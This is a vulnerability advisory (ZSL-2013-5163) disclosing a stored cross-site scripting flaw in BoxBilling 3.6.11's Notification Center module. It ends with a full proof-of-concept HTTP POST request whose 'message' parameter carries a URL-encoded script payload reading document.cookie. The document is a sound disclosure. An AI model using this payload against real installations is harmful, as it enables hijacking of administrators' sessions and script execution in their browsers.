51 lines
No EOL
1.7 KiB
Text
51 lines
No EOL
1.7 KiB
Text
|
|
BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability
|
|
|
|
|
|
Vendor: BoxBilling
|
|
Product web page: http://www.boxbilling.com
|
|
Affected version: 3.6.11 (mod_notification 1.0.0)
|
|
|
|
Summary: BoxBilling is a free billing, invoicing & client management software.
|
|
|
|
Desc: BoxBilling suffers from a stored cross-site scripting vulnerability.
|
|
Input passed to the 'message' POST parameter thru the 'Notification Center'
|
|
extension/module is not properly sanitised before being returned to the user.
|
|
This can be exploited to execute arbitrary HTML and script code in a user's
|
|
browser session in context of an affected site.
|
|
|
|
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
|
|
Apache 2.4.2 (Win32)
|
|
PHP 5.4.7
|
|
MySQL 5.5.25a
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2013-5163
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5163.php
|
|
|
|
|
|
05.12.2013
|
|
|
|
--
|
|
|
|
|
|
POST /boxbilling/index.php/api/admin/notification/add HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Referer: http://localhost/boxbilling/bb-admin.php/notification
|
|
Content-Length: 66
|
|
Cookie: BOXADMR=e%3DZ2pva29AemVyb3NjaWVuY2UubWs%3D%26p%3DZDAzM2UyMmFlMzQ4YWViNTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5Nw%3D%3D; BOXSID=gsbhumqgrjja1hrei31v3uc4m6
|
|
Connection: keep-alive
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache
|
|
|
|
message=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E |